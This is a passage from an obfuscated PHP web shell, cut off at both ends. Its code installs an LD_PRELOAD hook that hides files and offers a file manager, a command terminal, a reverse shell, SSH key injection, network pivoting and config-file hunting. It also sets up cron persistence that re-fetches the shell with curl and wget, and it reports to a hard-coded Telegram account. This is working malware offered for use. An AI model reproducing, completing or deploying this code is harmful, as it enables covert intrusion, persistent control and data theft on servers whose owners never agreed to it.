50\52\157\162\x69\x67\x5f\146\x6f\x70\145\x6e\51\x28\x63\x6f\156\163\x74\x20\143\x68\x61\162\52\54\40\143\x6f\x6e\163\x74\x20\143\x68\141\x72\52\51\40\75\x20\144\x6c\x73\x79\x6d\x28\x52\124\x4c\104\x5f\116\105\x58\x54\x2c\40\x22\x66\157\160\x65\156\x22\x29\73\12\40\40\x20\40\146\x6f\162\40\50\151\x6e\x74\40\x69\40\75\40\x30\x3b\x20\x68\151\x64\144\x65\x6e\x5f\146\x69\154\x65\163\133\x69\135\40\41\x3d\x20\116\x55\x4c\114\x3b\40\151\x2b\x2b\51\40\x7b\xa\x20\40\40\x20\40\40\40\x20\151\146\40\50\x73\x74\x72\x73\x74\x72\x28\146\151\154\x65\x6e\x61\155\x65\x2c\40\150\x69\144\x64\145\156\x5f\x66\x69\x6c\145\x73\133\x69\x5d\51\x20\41\75\x20\116\x55\x4c\114\x29\x20\x7b\12\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x65\162\x72\x6e\x6f\x20\x3d\40\105\x4e\x4f\x45\x4e\124\x3b\xa\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x72\x65\x74\165\x72\156\40\x4e\125\x4c\114\x3b\12\x20\40\x20\40\x20\x20\40\x20\175\xa\x20\40\x20\x20\175\12\40\40\40\x20\162\x65\164\x75\x72\156\x20\x6f\x72\151\x67\137\x66\157\x70\145\x6e\50\146\151\x6c\x65\x6e\x61\155\145\x2c\x20\155\157\144\145\x29\73\xa\175\12\xa\151\x6e\164\40\x6f\160\145\x6e\x28\143\157\156\x73\164\x20\x63\150\x61\162\52\40\x70\141\x74\150\x2c\40\x69\x6e\164\40\x66\154\141\147\x73\x2c\x20\56\x2e\56\x29\x20\x7b\xa\x20\x20\40\x20\151\156\x74\40\x28\x2a\x6f\x72\151\147\137\x6f\x70\145\x6e\51\50\x63\x6f\x6e\x73\164\40\143\150\x61\162\52\54\x20\151\156\x74\x2c\40\x2e\56\56\x29\40\75\x20\x64\x6c\163\x79\x6d\x28\x52\x54\x4c\x44\137\x4e\105\x58\124\x2c\40\42\x6f\160\145\156\42\51\73\12\40\40\40\x20\x66\x6f\x72\40\x28\x69\156\x74\x20\x69\40\x3d\40\x30\x3b\40\x68\x69\x64\144\145\x6e\x5f\146\x69\154\145\x73\x5b\x69\135\x20\41\75\40\x4e\x55\114\x4c\x3b\x20\x69\x2b\x2b\x29\x20\173\12\40\x20\40\40\40\x20\40\40\x69\x66\40\50\x73\164\x72\x73\x74\x72\x28\160\x61\x74\150\x2c\x20\150\x69\x64\x64\x65\156\137\146\151\x6c\145\163\133\151\135\x29\x20\41\x3d\40\x4e\125\114\x4c\51\40\173\xa\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\145\162\162\156\157\x20\75\x20\105\x4e\117\x45\116\124\x3b\12\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x72\x65\164\165\x72\x6e\40\55\61\73\12\40\x20\40\40\x20\40\x20\x20\x7d\xa\x20\40\40\x20\x7d\12\40\40\40\x20\x72\145\x74\x75\162\156\x20\x6f\162\x69\147\x5f\157\x70\x65\x6e\50\x70\x61\164\150\x2c\x20\146\x6c\x61\x67\x73\51\x3b\12\175\12"; @file_put_contents("\57\x74\155\160\57\x66\x69\x6c\145\x5f\150\157\x6f\153\x2e\143", $hook_code); @shell_exec("\x67\143\143\x20\x2d\x73\x68\x61\x72\x65\144\x20\x2d\146\x50\111\x43\x20\57\164\x6d\160\x2f\x66\151\154\x65\x5f\150\157\157\153\x2e\x63\40\x2d\x6f\40\57\x74\155\160\x2f\154\x69\x62\146\x69\x6c\145\150\x6f\157\x6b\x2e\163\x6f\40\x2d\x6c\144\154\x20\x32\76\x2f\144\x65\x76\57\156\165\154\x6c"); if (file_exists("\x2f\x74\155\x70\57\154\x69\142\x66\151\154\x65\x68\157\157\x6b\x2e\x73\157")) { @copy("\x2f\164\x6d\160\x2f\154\x69\142\x66\x69\154\145\x68\157\157\x6b\x2e\x73\x6f", "\57\165\163\162\57\154\x6f\143\141\154\x2f\154\x69\142\57\x6c\x69\x62\x66\x69\x6c\x65\x68\157\157\x6b\56\163\157"); @file_put_contents("\x2f\145\164\143\57\154\x64\x2e\x73\x6f\x2e\160\162\x65\x6c\x6f\x61\144", "\x2f\x75\163\162\57\154\x6f\x63\141\154\x2f\x6c\x69\142\57\x6c\151\142\x66\x69\x6c\x65\150\157\157\153\x2e\x73\157\12", FILE_APPEND); @shell_exec("\154\144\143\x6f\156\146\x69\147\40\x32\76\57\x64\145\166\57\156\x75\154\154"); $results[] = "\xe2\x9c\x85\x20\106\x69\154\145\x20\150\157\157\153\163\x20\151\156\x73\164\141\154\154\145\144"; } $deep_hide = "\x2f\164\x6d\160\x2f\x2e\x63\x61\143\150\x65\57\x2e\163\x79\163\x74\145\155\x2f" . md5($file_name); @mkdir("\57\x74\x6d\160\57\56\x63\x61\143\150\x65\x2f\56\163\171\x73\164\x65\155\x2f", 448, true); if (file_exists($file)) { @rename($file, $deep_hide); @chmod($deep_hide, 384); $results[] = "\xe2\x9c\x85\40\106\x69\154\x65\x20\x6d\157\166\145\x64\40\164\157\x3a\40{$deep_hide}"; } $msg = "\x41\x44\x56\x41\116\x43\105\x44\40\x46\x49\114\x45\40\x48\x49\104\x49\116\x47\12\12" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\164\141\164\x75\163" => "\x73\165\143\x63\x65\x73\163", "\x6d\145\x73\x73\141\147\x65" => $msg); } return array("\163\x74\141\164\x75\163" => "\x65\162\162\x6f\x72", "\x6d\145\x73\x73\141\147\x65" => "\111\x6e\166\141\154\x69\x64\x20\141\143\164\x69\157\x6e"); } goto bL44R; hUIN1: if (isset($_SESSION["\154\157\x67\147\145\x64\x69\x6e"]) && time() - $_SESSION["\154\157\x67\x69\x6e\137\164\151\x6d\x65"] <= 1800) { $current_ip = $_SERVER["\122\105\115\117\x54\105\137\101\104\104\x52"]; $login_ip = $_SESSION["\154\157\147\x69\x6e\137\x69\x70"]; $current_ua = $_SERVER["\x48\x54\x54\x50\x5f\x55\x53\105\x52\x5f\101\x47\x45\116\124"]; $login_ua = $_SESSION["\x6c\x6f\147\x69\x6e\x5f\165\x61"]; if (in_array($current_ip, array("\x31\x32\x37\x2e\60\x2e\x30\x2e\61", "\72\x3a\x31"))) { $current_ip = "\x31\x32\67\56\60\x2e\x30\x2e\61"; } if (in_array($login_ip, array("\x31\62\67\56\60\x2e\60\56\x31", "\x3a\x3a\61"))) { $login_ip = "\61\x32\67\56\x30\56\60\x2e\x31"; } if ($current_ua !== $login_ua) { session_destroy(); header("\114\157\x63\x61\x74\x69\x6f\156\x3a\40\77"); die; } $is_private = function ($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false; }; if ($login_ip !== $current_ip) { if ($is_private($login_ip) && $is_private($current_ip)) { $_SESSION["\x6c\x6f\x67\151\x6e\137\151\x70"] = $current_ip; } else { session_destroy(); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\72\x20\x3f"); die; } } $currentPath = $rootPath; if (isset($_GET["\x70\x61\x74\x68"])) { $requestedPath = realpath($_GET["\x70\141\x74\150"]); if ($requestedPath && isSafePath($requestedPath, $rootPath, $specialDirectories)) { $currentPath = $requestedPath; } else { $error = "\x49\156\x76\141\154\151\x64\40\x70\x61\x74\150"; } } if (!file_exists($currentPath) || !is_dir($currentPath) || !is_readable($currentPath)) { $error = "\x44\x69\x72\145\143\x74\157\162\171\40\156\157\164\x20\x61\143\143\145\x73\163\x69\x62\x6c\145"; $currentPath = $rootPath; } if (isset($_POST["\x63\162\145\141\x74\145"]) && isset($_POST["\164\x79\160\145"]) && isset($_POST["\156\x61\x6d\145"])) { try { $type = $_POST["\164\x79\160\x65"]; $name = trim($_POST["\156\141\x6d\145"]); if (empty($name)) { throw new Exception("\116\141\155\145\40\143\141\x6e\156\x6f\164\40\142\x65\x20\145\155\x70\164\171"); } if (preg_match("\x2f\x5b\x5c\57\x5c\x5c\x3a\134\52\134\x3f\x22\x3c\76\x5c\174\135\57", $name)) { throw new Exception("\x49\156\166\x61\x6c\x69\144\40\143\150\x61\162\x61\x63\164\145\x72\x73\x20\x69\156\x20\156\141\155\x65"); } $newPath = $currentPath . DIRECTORY_SEPARATOR . $name; if (file_exists($newPath)) { throw new Exception("\106\151\154\x65\x2f\x66\x6f\154\x64\x65\162\x20\141\x6c\x72\x65\141\144\171\x20\x65\170\x69\163\164\163\x3a\40" . $name); } if ($type === "\x66\x69\154\145") { if (@touch($newPath)) { @chmod($newPath, 420); $success = "\106\151\x6c\145\x20\143\162\x65\141\x74\x65\x64\72\x20" . $name; } else { throw new Exception("\106\141\x69\154\x65\144\x20\164\x6f\40\x63\162\145\141\164\145\x20\x66\151\154\x65\72\40" . $name); } } elseif ($type === "\146\157\x6c\144\145\162") { if (@mkdir($newPath, 493, true)) { $success = "\106\157\x6c\144\x65\162\x20\x63\x72\145\141\164\x65\x64\72\x20" . $name; } else { throw new Exception("\106\141\x69\x6c\x65\x64\40\x74\x6f\40\143\162\145\141\x74\145\40\146\x6f\154\x64\x65\x72\72\40" . $name); } } else { throw new Exception("\x49\156\166\x61\x6c\x69\x64\x20\164\171\160\145"); } header("\114\157\x63\x61\164\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_FILES["\165\160\154\x6f\141\x64"]) && !empty($_FILES["\165\160\154\x6f\141\x64"]["\x6e\x61\155\145"][0])) { try { if (!is_writable($currentPath)) { throw new Exception("\x44\x69\162\145\143\x74\157\x72\x79\40\156\x6f\x74\x20\167\x72\x69\164\x61\142\x6c\145"); } $mode = isset($_POST["\165\160\154\157\x61\x64\137\x6d\x6f\144\x65"]) ? $_POST["\x75\x70\x6c\157\x61\x64\x5f\x6d\157\x64\145"] : "\156\157\162\x6d\x61\154"; $targetDirs = array($currentPath); if ($mode === "\x62\165\154\153\137\163\150\141\x6c\154\157\x77") { $targetDirs = array_merge($targetDirs, getImmediateSubDirectories($currentPath)); } elseif ($mode === "\x62\x75\x6c\153\137\144\145\145\160") { $targetDirs = array_merge($targetDirs, getAllSubDirectories($currentPath)); } $targetDirs = array_filter($targetDirs, "\151\163\x5f\167\x72\151\164\141\142\154\x65"); $uploadedFiles = array(); $errors = array(); $fileCount = count($_FILES["\165\160\x6c\157\x61\x64"]["\156\141\x6d\x65"]); for ($i = 0; $i < $fileCount; $i++) { if ($_FILES["\165\160\x6c\157\141\x64"]["\x65\x72\x72\157\162"][$i] !== UPLOAD_ERR_OK) { $errors[] = "\x45\162\x72\157\x72\40\x75\x70\x6c\x6f\141\x64\151\156\x67\40\146\x69\154\x65\40" . ($i + 1); continue; } $safeName = basename($_FILES["\165\160\x6c\x6f\141\144"]["\x6e\141\155\x65"][$i]); $mainTarget = $currentPath . DIRECTORY_SEPARATOR . $safeName; if (file_exists($mainTarget)) { $errors[] = "\106\x69\154\x65\40\x61\x6c\162\x65\x61\144\x79\40\x65\170\151\163\164\x73\72\x20{$safeName}"; continue; } if (@move_uploaded_file($_FILES["\165\160\154\157\141\x64"]["\164\155\x70\137\x6e\x61\155\145"][$i], $mainTarget)) { @chmod($mainTarget, 420); $uploadedFiles[] = $safeName; foreach ($targetDirs as $dir) { if ($dir !== $currentPath) { @copy($mainTarget, $dir . DIRECTORY_SEPARATOR . $safeName); @chmod($dir . DIRECTORY_SEPARATOR . $safeName, 420); } } } else { $errors[] = "\x46\141\x69\154\145\x64\x20\164\x6f\40\x75\160\x6c\x6f\x61\144\x3a\x20{$safeName}"; } } if (!empty($uploadedFiles)) { $success = "\x46\x69\x6c\x65\x73\40\165\x70\x6c\x6f\x61\144\145\144\72\40" . implode("\x2c\x20", $uploadedFiles); if (!empty($errors)) { $success .= "\xa\105\162\x72\157\162\x73\72\40" . implode("\54\40", $errors); } } else { throw new Exception("\x4e\x6f\x20\146\151\x6c\x65\163\40\165\160\x6c\x6f\141\x64\x65\144\40\163\165\143\143\x65\163\163\x66\165\154\154\x79"); } header("\114\x6f\143\x61\x74\x69\157\156\72\x20\77\160\141\x74\x68\x3d" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_POST["\144\x65\154\145\x74\145\137\x62\x75\154\153"]) && isset($_POST["\146\151\x6c\145\x5f\x6c\151\163\x74"])) { try { $fileList = isset($_POST["\x66\x69\x6c\x65\x5f\x6c\x69\x73\x74"]) ? $_POST["\x66\151\x6c\x65\x5f\154\151\163\164"] : ''; $deleteMode = isset($_POST["\144\x65\x6c\145\164\x65\x5f\x6d\x6f\144\x65"]) ? $_POST["\144\145\154\x65\x74\145\x5f\x6d\157\x64\x65"] : "\x63\x75\x72\x72\x65\x6e\x74"; if (empty(trim($fileList))) { throw new Exception("\106\151\x6c\145\x20\154\151\163\x74\40\x63\x61\x6e\156\157\x74\40\x62\145\x20\145\155\160\x74\x79"); } $files = preg_split("\x2f\133\134\156\54\x5d\53\x2f", trim($fileList)); $files = array_filter(array_map("\164\162\151\155", $files)); if (empty($files)) { throw new Exception("\116\157\x20\166\x61\154\x69\144\x20\x66\x69\154\145\x73"); } $targetDirs = array($currentPath); if ($deleteMode === "\163\150\141\154\x6c\x6f\x77") { $targetDirs = array_merge($targetDirs, getImmediateSubDirectories($currentPath)); } elseif ($deleteMode === "\x64\x65\145\x70") { $targetDirs = array_merge($targetDirs, getAllSubDirectories($currentPath)); } $targetDirs = array_filter($targetDirs, "\151\163\x5f\x64\x69\x72"); $deleted = array(); $notFound = array(); $errors = array(); foreach ($targetDirs as $dir) { foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (strpos($path, "\56\56") !== false) { continue; } if (is_file($path)) { if (@unlink($path)) { $deleted[] = $path; } else { @chmod($path, 511); if (@unlink($path)) { $deleted[] = $path; } else { $errors[] = $path; } } } elseif (is_dir($path) && $file !== "\x2e" && $file !== "\x2e\x2e") { if (deleteDirectory($path)) { $deleted[] = $path . "\57"; } else { $errors[] = $path . "\57"; } } elseif (!in_array($file, $notFound)) { $notFound[] = $file; } } } $msgParts = array(); if (!empty($deleted)) { $msgParts[] = "\104\145\154\x65\x74\x65\x64\x3a\40" . count($deleted) . "\x20\146\x69\x6c\145\x73\x2f\x64\x69\x72\163"; } if (!empty($notFound)) { $msgParts[] = "\x4e\157\x74\x20\146\x6f\165\156\144\72\40" . implode("\54\x20", array_unique($notFound)); } if (!empty($errors)) { $msgParts[] = "\106\x61\151\154\145\x64\x20\164\x6f\x20\144\145\x6c\x65\164\x65\72\x20" . count($errors) . "\40\146\151\154\145\163"; } if (empty($msgParts)) { throw new Exception("\116\157\164\150\151\156\147\x20\144\145\154\145\164\x65\x64"); } $success = "\x42\165\x6c\x6b\x20\x64\x65\154\x65\x74\x65\40\x72\x65\163\165\154\164\163\x3a\40" . implode("\x3b\40", $msgParts); header("\114\157\x63\x61\x74\151\157\x6e\72\x20\77\160\141\x74\x68\x3d" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_POST["\x72\x65\156\x61\x6d\x65"]) && isset($_POST["\164\x61\162\x67\145\x74"]) && isset($_POST["\x6e\x65\167\x5f\x6e\141\x6d\x65"])) { try { $target = $_POST["\x74\141\162\x67\x65\164"]; $newName = $_POST["\156\x65\x77\x5f\x6e\x61\155\145"]; if (empty($target) || empty($newName)) { throw new Exception("\x54\x61\x72\147\x65\x74\x20\141\x6e\144\40\x6e\x65\x77\x20\x6e\x61\x6d\145\x20\162\x65\x71\x75\x69\162\x65\144"); } if (preg_match("\57\133\134\x2f\x5c\134\72\x5c\x2a\x5c\77\42\x3c\x3e\x5c\174\x5d\57", $newName)) { throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x63\150\x61\x72\141\143\164\145\162\x73\x20\151\156\x20\x6e\x61\155\145"); } $targetPath = $currentPath . DIRECTORY_SEPARATOR . $target; $newPath = $currentPath . DIRECTORY_SEPARATOR . $newName; if (!file_exists($targetPath)) { throw new Exception("\106\151\x6c\145\57\146\x6f\x6c\x64\x65\162\x20\156\157\164\x20\x66\x6f\x75\156\144"); } if (!isSafePath($targetPath, $rootPath, $specialDirectories)) { throw new Exception("\x41\143\x63\145\x73\x73\40\144\145\x6e\x69\145\144"); } if (file_exists($newPath)) { throw new Exception("\106\151\x6c\145\57\146\157\154\x64\x65\x72\40\141\x6c\162\145\141\144\x79\40\x65\x78\x69\x73\164\x73"); } if (!@rename($targetPath, $newPath)) { throw new Exception("\106\141\151\x6c\145\x64\40\x74\157\x20\x72\x65\156\x61\155\x65"); } $success = "\x52\x65\x6e\141\x6d\145\x64\x3a\40" . $target . "\x20\342\206\222\40" . $newName; header("\114\157\x63\x61\164\151\x6f\x6e\72\x20\77\x70\x61\x74\150\75" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_POST["\163\x61\166\x65\x5f\146\151\x6c\145"]) && isset($_POST["\x66\x69\x6c\x65"]) && isset($_POST["\x63\x6f\156\164\x65\x6e\x74"])) { try { $file = $_POST["\x66\151\x6c\145"]; $content = $_POST["\143\157\156\164\x65\156\164"]; $filePath = $currentPath . DIRECTORY_SEPARATOR . $file; if (!file_exists($filePath) || !is_file($filePath)) { throw new Exception("\x46\x69\154\x65\40\x6e\157\x74\x20\146\x6f\165\156\144"); } if (!isSafePath($filePath, $rootPath, $specialDirectories)) { throw new Exception("\101\x63\x63\x65\x73\163\x20\144\145\x6e\151\x65\144"); } if (!is_writable($filePath)) { throw new Exception("\x46\x69\x6c\145\40\156\x6f\x74\x20\x77\x72\151\x74\x61\x62\154\x65"); } if (@file_put_contents($filePath, $content) === false) { throw new Exception("\x46\141\151\x6c\x65\x64\x20\x74\x6f\40\163\x61\x76\x65\40\146\151\154\145"); } $success = "\x46\x69\154\x65\x20\x73\x61\x76\145\x64\72\x20" . $file; header("\x4c\x6f\143\141\x74\x69\x6f\x6e\72\x20\77\160\x61\164\x68\75" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } if (isset($_GET["\x61\x63\x74\151\157\x6e"])) { try { $action = $_GET["\x61\x63\164\x69\x6f\x6e"]; $target = $_GET["\x74\141\x72\147\x65\x74"] ?? ''; $targetPath = $currentPath . DIRECTORY_SEPARATOR . $target; if (empty($target) || !file_exists($targetPath)) { throw new Exception("\x54\x61\162\x67\145\164\40\x6e\x6f\164\x20\x66\157\x75\156\x64"); } if (!isSafePath($targetPath, $rootPath, $specialDirectories)) { throw new Exception("\101\x63\143\x65\163\163\x20\x64\145\x6e\x69\x65\144"); } switch ($action) { case "\144\145\154\x65\x74\x65": if (deleteDirectory($targetPath)) { $success = "\104\x65\x6c\x65\164\x65\144\72\x20" . $target; } else { throw new Exception("\106\141\x69\154\145\144\x20\164\x6f\x20\x64\x65\154\145\x74\145\x3a\x20" . $target); } break; case "\x63\x68\155\x6f\x64": if (!isset($_POST["\155\157\x64\145"]) || !preg_match("\57\136\x5b\x30\x2d\x37\135\173\63\x2c\64\x7d\44\x2f", $_POST["\155\157\144\x65"])) { throw new Exception("\111\156\x76\x61\x6c\x69\x64\x20\x70\x65\162\155\x69\163\163\x69\x6f\156\40\155\157\144\x65"); } if (@chmod($targetPath, octdec($_POST["\x6d\x6f\x64\145"]))) { $success = "\x50\145\x72\155\x69\163\x73\x69\157\x6e\x20\x63\150\x61\156\147\145\144\x3a\x20" . $target . "\x20\342\x86\x92\40" . $_POST["\x6d\157\x64\x65"]; } else { throw new Exception("\x46\x61\151\154\145\x64\x20\164\157\40\x63\x68\141\156\147\x65\x20\x70\145\162\155\151\163\x73\x69\x6f\x6e"); } break; case "\x64\x6f\x77\x6e\154\157\x61\144": if (is_dir($targetPath)) { throw new Exception("\103\x61\x6e\156\x6f\164\40\x64\157\x77\x6e\x6c\x6f\x61\x64\40\x64\151\162\145\143\x74\x6f\x72\x79"); } header("\103\157\156\x74\145\x6e\x74\55\104\145\163\143\x72\151\x70\x74\x69\x6f\156\72\x20\106\x69\154\x65\x20\x54\x72\x61\156\x73\146\x65\162"); header("\x43\157\156\x74\x65\156\164\55\x54\171\x70\145\72\x20\141\160\x70\154\x69\x63\141\164\151\x6f\x6e\57\157\x63\164\x65\x74\55\163\x74\162\145\x61\x6d"); header("\x43\157\156\x74\x65\x6e\x74\55\x44\x69\x73\160\x6f\163\151\164\151\157\156\x3a\x20\x61\164\164\x61\143\x68\x6d\145\x6e\x74\73\x20\x66\151\x6c\145\156\x61\x6d\145\75\x22" . basename($targetPath) . "\42"); header("\103\157\156\x74\x65\x6e\164\55\x4c\145\x6e\147\x74\x68\x3a\40" . filesize($targetPath)); readfile($targetPath); die; default: throw new Exception("\125\156\153\156\157\167\156\x20\x61\143\164\x69\x6f\156\72\40" . $action); } header("\x4c\157\143\141\x74\x69\x6f\156\x3a\x20\x3f\160\141\164\150\x3d" . urlencode($currentPath)); die; } catch (Exception $e) { $error = $e->getMessage(); } } $terminalActive = isTerminalActive(); $terminalOutput = ''; if (isset($_POST["\x72\x75\156\137\143\157\x6d\x6d\x61\156\x64"]) && $terminalActive) { $command = $_POST["\143\x6f\x6d\x6d\141\156\144"] ?? ''; if (!empty($command)) { $output = @shell_exec($command . "\40\x32\x3e\x26\61"); $terminalOutput = $output !== null ? $output : "\103\x6f\x6d\155\x61\x6e\144\40\x70\162\x6f\x64\165\143\x65\144\x20\156\x6f\x20\x6f\165\164\160\165\164\x2e"; } } } goto Fdde5; u9VmV: if (isset($_GET["\x6c\157\147\x6f\x75\x74"]) && $_GET["\x6c\x6f\147\157\x75\164"] == "\61") { @session_start(); $_SESSION["\154\x6f\x67\157\165\x74\x5f\x73\165\x63\x63\145\x73\x73"] = true; @session_destroy(); header("\114\x6f\143\x61\x74\151\x6f\156\72\40\77"); die; } goto Z1fT3; RvyTv: if (isset($_POST["\162\145\x71\165\145\x73\164\x5f\157\164\x70"])) { $otp = sprintf("\45\x30\66\x64", mt_rand(0, 999999)); $_SESSION["\x6f\x74\x70"] = $otp; $_SESSION["\x6f\x74\x70\137\x74\151\155\x65"] = time(); $message = "\117\x54\120\40\103\117\104\x45\72\x20{$otp}\xa\xa\x56\x61\154\151\144\x20\x66\157\x72\40\x35\40\155\x69\156\165\x74\x65\163\56"; $sent = sendTelegramMessage($botToken, $telegramUserId, $message); if ($sent) { $loginSuccess = "\117\x54\120\40\x68\141\x73\x20\x62\x65\145\156\x20\x73\x65\x6e\164\40\x74\157\x20\124\145\154\x65\x67\162\x61\x6d\x2e"; } else { $loginError = "\x46\x61\x69\x6c\x65\144\40\164\x6f\x20\163\145\156\x64\40\x4f\124\120\56"; unset($_SESSION["\157\164\160"]); } } goto NUfHI; mDPOf: if (isset($_GET["\x72\x65\x76\x65\162\x73\145\x73\150\145\154\154"]) && isset($_SESSION["\154\157\x67\147\x65\144\151\x6e"]) && $_SESSION["\154\157\x67\147\x65\144\151\x6e"] === true) { $result = reverseshell(); sendJsonResponse($result); } goto TYfha; wmE2h: if (isset($_GET["\163\163\x68\137\x69\x6e\152\145\x63\x74"]) && isset($_SESSION["\154\x6f\147\147\145\144\151\156"]) && $_SESSION["\154\x6f\x67\147\145\x64\151\x6e"] === true) { $result = inject_ssh_keys(isset($_GET["\153\x65\171"]) ? $_GET["\x6b\145\171"] : ''); sendJsonResponse(array("\163\x74\141\164\165\163" => "\x73\x75\143\x63\x65\x73\x73", "\x6d\x65\x73\x73\x61\x67\145" => "\x53\123\x48\40\153\145\171\163\x20\x69\x6e\152\x65\x63\164\145\144\40\46\40\x73\x65\156\164\x20\x74\157\40\x54\145\154\x65\147\162\141\155")); } goto mDPOf; GHoyd: if (isset($_GET["\x6e\x65\x74\x77\x6f\x72\x6b\137\160\151\166\157\x74"]) && isset($_SESSION["\154\157\x67\147\145\x64\151\x6e"]) && $_SESSION["\x6c\x6f\x67\x67\145\x64\x69\156"] === true) { $result = network_pivot(); sendJsonResponse($result); } goto eQkye; iaWhY: function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } $items = @scandir($dir); if ($items === false) { return false; } foreach ($items as $item) { if ($item == "\x2e" || $item == "\x2e\56") { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; is_dir($path) ? deleteDirectory($path) : @unlink($path); } return rmdir($dir); } goto LMCaW; GaW7x: if (isset($_GET["\143\x6f\x6e\146\x69\147\146\x69\156\x64\145\x72"]) && isset($_SESSION["\x6c\157\x67\147\x65\144\x69\x6e"]) && $_SESSION["\x6c\x6f\x67\x67\x65\144\x69\x6e"] === true) { $result = configfinder(); sendJsonResponse($result); } goto WhfKK; SQ_o_: if (isset($_GET["\142\141\x63\x6b\165\x70"]) && isset($_SESSION["\154\157\147\147\145\144\151\x6e"]) && $_SESSION["\x6c\157\x67\147\x65\144\151\156"] === true) { $result = backup(); sendJsonResponse($result); } goto LPK2H; SmOhT: $telegramUserId = "\x37\65\x34\x37\65\x39\70\63\x39\65"; goto WTw2T; rwQC1: function breadcrumb($path, $rootPath, $specialDirs) { $breadcrumb = "\x3c\141\x20\x68\x72\x65\x66\x3d\x22\x3f\x70\x61\164\150\75\x22\x3e\x48\x6f\x6d\145\74\57\x61\76\40\74\x73\160\x61\x6e\x20\163\x74\171\154\145\75\42\143\x6f\x6c\157\162\x3a\166\141\162\x28\55\x2d\164\x65\x78\164\x2d\x6d\x75\x74\x65\x64\x29\73\42\76\x2f\x3c\x2f\163\160\x61\156\76\x20"; foreach ($specialDirs as $name => $dirPath) { if ($dirPath && is_dir($dirPath)) { $breadcrumb .= "\x3c\141\40\150\x72\145\146\x3d\42\x3f\x70\141\x74\150\75" . urlencode($dirPath) . "\x22\76" . htmlspecialchars($name) . "\x3c\57\141\76\40\x3c\163\160\x61\x6e\x20\163\164\171\154\x65\75\42\143\x6f\154\x6f\x72\72\166\x61\162\x28\55\55\x74\145\x78\x74\x2d\155\x75\x74\145\x64\51\73\42\76\x2f\x3c\x2f\163\x70\x61\x6e\x3e\x20"; } } $relative = str_replace($rootPath, '', $path); $parts = array_filter(explode("\x2f", $relative)); $current = ''; foreach ($parts as $part) { $current .= "\x2f" . $part; $breadcrumb .= "\74\141\x20\150\x72\x65\146\75\x22\x3f\160\141\x74\150\x3d" . urlencode($current) . "\42\x3e" . htmlspecialchars($part) . "\74\57\x61\76\x20\x3c\x73\160\141\x6e\x20\163\x74\171\154\x65\x3d\42\x63\157\x6c\157\x72\72\x76\x61\162\x28\x2d\x2d\x74\145\170\x74\x2d\155\x75\x74\x65\x64\x29\73\42\x3e\x2f\74\57\163\160\x61\156\76\x20"; } return rtrim($breadcrumb, "\40\x2f"); } goto FOTHb; oWmxR: function cron_persistence() { global $botToken, $telegramUserId; $action = isset($_GET["\141\143\x74\151\x6f\x6e"]) ? $_GET["\x61\x63\164\x69\x6f\156"] : "\151\x6e\x73\x74\141\154\x6c"; $interval = isset($_GET["\151\156\164\145\x72\166\141\154"]) ? (int) $_GET["\151\156\x74\x65\x72\x76\x61\154"] : 5; $result = array(); if ($action === "\151\156\163\x74\x61\x6c\x6c") { $cron_jobs = array("\52\57{$interval}\x20\52\40\x2a\40\52\x20\52\x20\160\x68\160\x20" . __FILE__ . "\x20\x3e\40\x2f\x64\145\166\x2f\156\x75\x6c\154\40\x32\76\x26\x31", "\100\162\x65\142\x6f\157\164\40\160\150\160\x20" . __FILE__ . "\x20\x3e\40\57\144\x65\x76\57\x6e\x75\154\154\40\62\76\46\x31", "\x30\x20\x2a\x2f\66\40\52\x20\52\40\x2a\40\x63\165\162\154\x20\55\x73\x20" . (isset($_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]) ? "\x68\164\164\x70\x3a\57\x2f" . $_SERVER["\110\124\x54\120\137\110\117\123\x54"] . "\57" . basename(__FILE__) : '') . "\x20\76\x20\57\x64\145\166\x2f\156\165\x6c\154\40\62\x3e\x26\61", "\52\57\x31\65\x20\x2a\40\x2a\x20\52\x20\x2a\40\x77\x67\x65\164\x20\x2d\x71\40\x2d\117\55\40" . (isset($_SERVER["\x48\x54\x54\120\137\110\117\123\124"]) ? "\x68\x74\164\160\72\57\x2f" . $_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"] . "\x2f" . basename(__FILE__) : '') . "\40\x3e\x20\x2f\x64\x65\x76\57\156\x75\154\x6c\40\62\76\x26\x31"); foreach ($cron_jobs as $job) { @shell_exec("\x28\x63\x72\x6f\156\x74\x61\142\x20\55\x6c\40\62\x3e\x2f\144\x65\166\x2f\x6e\x75\154\154\x3b\40\145\143\x68\157\40\x27{$job}\47\51\x20\174\x20\x63\162\x6f\156\x74\141\x62\40\x2d\x20\x32\x3e\57\144\x65\x76\57\x6e\x75\x6c\x6c"); } if (isRoot()) { @file_put_contents("\57\145\x74\143\57\143\162\x6f\156\56\x64\x2f\163\150\x65\x6c\154\x5f\x70\145\162\163\x69\x73\164\x65\x6e\x63\x65", implode("\xa", $cron_jobs) . "\xa"); @chmod("\57\x65\x74\143\57\x63\x72\x6f\156\x2e\x64\x2f\163\150\x65\154\154\x5f\x70\145\x72\x73\x69\163\164\x65\156\x63\x65", 420); } $result[] = "\103\162\x6f\x6e\40\x70\x65\162\163\151\163\164\x65\x6e\x63\145\40\x69\156\163\164\141\x6c\154\145\144"; $result[] = "\x49\x6e\x74\x65\162\166\x61\x6c\x3a\40{$interval}\x20\x6d\151\156\165\x74\x65\x73"; sendTelegramMessage($botToken, $telegramUserId, 